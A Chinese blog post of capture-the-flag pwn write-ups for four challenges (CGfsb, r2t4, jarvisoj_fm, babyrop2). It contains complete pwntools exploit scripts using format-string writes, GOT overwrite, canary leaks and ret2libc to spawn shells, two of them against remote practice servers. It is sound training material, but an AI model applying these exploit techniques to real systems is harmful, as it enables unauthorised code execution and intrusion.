攻防世界:CGfsb
checksec查看保护机制,开启了NX和Canary,32位ELF。
反汇编代码如下:
int main(){ char buf[0x7E - 0x76]; ebp-7E short int anonymous_0; ebp-76 char s[0x74 - 0x10]; ebp-74 int anonymous_1; ebp-10 anonymous_1 = gs:14h //gs:14是内存地址,存储Canary保护的随机值 buf[0] = 0; anonymous_0 = 0; puts("please tell me your name:"); read(0, buf, 0x0A); puts("leave your message please:"); fgets(s, 0x64, stdin); printf("hello %s", buf); puts("your message is:"); printf(s); if (ds:pwnme == 8){ puts("you pwned me, here is your flag:\n"); system("cat flag"); } else{ puts("Thank you!"); } return 0; }
存在字符串格式化漏洞。
输入的字符串(“aaaa”)是第十个格式化参数。
根据反汇编代码,当内存地址ds:pwnme中的值为8时,程序输出flag。
格式化字符串"%10$n"将已经输出的字符数写入到第十个参数地址。如果第十个参数是ds:pwnme,就可以修改内存地址ds:pwnme的值。
ds:pwnme的地址可在ida中查看,为0x804A068。
利用脚本如下:
#!/usr/bin/env python3 from pwn import * io = process("cgfsb") io.sendlineafter("please tell me your name:", b"hacker") payload = p32(0x804A068) + b"aaaa" + b"%10$n" #p32(0x804A068)共4个字节,所以需要再添加4个字节才正好向内存地址写入8 io.recvuntil("leave your message please:") io.sendline(payload) print(io.recvall())
[BJDCTF 2nd]r2t4
checksec检查,64位ELF,开启了NX和Canary。
反汇编代码:
int main(){ char buf[0x30 - 0x08]; char var_8[8]; var_8 = fs:28h; //Canary保护的随机数 read(0, buf, 0x38); printf(buf); if(var_8 ^ fs:28h != 0) stack_chk_fail(); return 0; }
后门函数system("cat flag");入口地址0x400626
解析:
1、buf缓冲区可以溢出8个字节。
2、如果buf缓冲区发生溢出,Canary保护的值会被破坏,程序调用stack_chk_fail()函数。
3、printf(buf)函数存在格式化字符串漏洞,利用漏洞把stack_chk_fail()函数的got表地址改成后门函数地址。再故意破坏Canary,就能执行后门函数。
read()函数读取的字符串“aaaaaaaa”是第六个格式化参数
编写脚本
#!/usr/bin/env python3 from pwn import * io = process("./r2t4") elf = ELF("./r2t4") scf_got = elf.got["__stack_chk_fail"] payload = b"%64c%9$hn%1510c%10$hnaaa" + p64(scf_got+2) + p64(scf_got) io.sendline(payload) print(io.recvall())
payload解释:
后门函数的地址为0x400626 %64c :输出64个字符,64=0x0040 %9$hn : 9$对应p64(scf_got + 2) ,将前面输出的字符数(0x40)写入9$这个地址,写入高两字节。 %1510c :输出1510个字符,64+1510=0x0626 %10$hn:10$对应p64(scf_got),将前面输出的字符数(0x0626)写入10$这个地址,写入低两字节。
aaa :使栈8字节对齐,以及用来拼凑字数,使缓冲区溢出。
jarvisoj_fm
checksec检查,开启了NX、Canary,32位ELF。
反汇编代码:
int x=3; int main(){ char buf[0x5C]; read(0, buf, 0x50); printf(buf); printf("%d", x); if(x == 4){ puts("running sh..."); system("/bin/sh"); } if([esp+7Ch] != gs:14h){ //检查Canary stack_chk_fail(); } return 0; }
全局变量x存储在内存地址0x0804A02C
printf(buf)函数存在格式化字符串漏洞,利用漏洞修改x的值为4
输入字符串"aaaa"是第11个格式化参数
写出脚本
#!/usr/bin/env python3 from pwn import * io = remote("node4.buuoj.cn", 28925) payload = p32(0x804A02C) + b"%11$n" //p32(0x804A02C)四个字节,向地址0x804A02C写入4 io.sendline(payload) io.interactive()
bjdctf_2020_babyrop2
checksec查看保护,开启了NX、Canary,64位ELF。
反汇编代码:
int main(){ int *var_8; init(); gift(); vuln(); 检查Canary return 0; } init(){ puts("Can u return to libc ?"); puts("Try u best!"); 检查Canary } gift(){ char format[0x10 - 0x8]; int *var_8; puts("I'll give u some gift to help u!"); scanf("%6s", format); printf(format); puts(3); 检查Canary return } vuln(){ char buf[0x20 - 0x8]; int *var_8; puts("Pull up your sword and tell me u story!"); read(0, buf, 0x64); 检查Canary return }
解析:
gift函数存在格式化字符串漏洞,vuln函数存在缓冲区溢出漏洞。
利用格式化字符串漏洞泄露Canary,带上Canary执行缓冲区溢出攻击。
找到Canary是第几个格式化参数
gdb执行到gift函数的scanf()部分,输入"aaaaaaaa"。继续执行到printf函数之前,查看此时栈的情况可知Canary(地址为0x7fffffffdf48)需要出栈两次得到。
由此可知Canary是格式化字符串的第7个(5个寄存器+2次出栈)格式化参数。
验证:
利用缓冲区溢出泄露puts函数真实地址
payload
payload = b'a' * 24 + p64(canary) + b'a' * 8 + p64(pop_rdi) + p64(puts_got) + p64(puts_plt) + p64(vuln_addr)
计算出system函数真实地址以及字符串“/bin/sh”真实地址
libc = LibcSearcher("puts", puts_addr) //选择libc版本,笔者在ubuntu20.04上选择了0,后面的system函数成功执行 offset = puts_addr - libc.dump("puts") system_addr = offset + libc.dump("system") binsh_addr = offset + libc.dump("str_bin_sh") print(f'{offset} {system_addr} {binsh_addr}')
利用缓冲区溢出执行system("/bin/sh")
payload = b'a' * 24 + p64(canary) + b'a' * 8 + p64(pop_rdi) + p64(binsh_addr) + p64(system_addr) io.sendlineafter("Pull up your sword and tell me u story!", payload) io.interactive()
完整脚本
#!/usr/bin/env python3 from pwn import * from LibcSearcher import * io = remote("node4.buuoj.cn", 27550) elf = ELF("./bjdctf_2020_babyrop2")
#泄露canary payload = "%7$p" io.recvuntil("I'll give u some gift to help u!") io.sendline(payload) io.recvline() rev = io.recvline()[2:-1].decode() canary = int(rev, 16) print(f"Canary: {canary}")
#泄露puts函数真实地址 pop_rdi = 0x400993 puts_got = elf.got["puts"] puts_plt = elf.plt["puts"] vuln_addr = elf.symbols["vuln"] payload = b'a' * 24 + p64(canary) + b'a' * 8 + p64(pop_rdi) + p64(puts_got) + p64(puts_plt) + p64(vuln_addr) io.sendlineafter("Pull up your sword and tell me u story!", payload) io.recvline() puts_addr = u64(io.recv().ljust(8, b'\x00')) print(puts_addr)
#计算system函数、“/bin/sh”字符串真实地址 libc = LibcSearcher("puts", puts_addr) offset = puts_addr - libc.dump("puts") system_addr = offset + libc.dump("system") binsh_addr = offset + libc.dump("str_bin_sh") print(f'{offset} {system_addr} {binsh_addr}')
#执行system("/bin/sh") payload = b'a' * 24 + p64(canary) + b'a' * 8 + p64(pop_rdi) + p64(binsh_addr) + p64(system_addr) io.sendlineafter("Pull up your sword and tell me u story!", payload) io.interactive()
标签:addr,格式化,p64,puts,Canary,io,pwn,payload,刷题 From: https://www.cnblogs.com/jimmy-hwang/p/17364894.html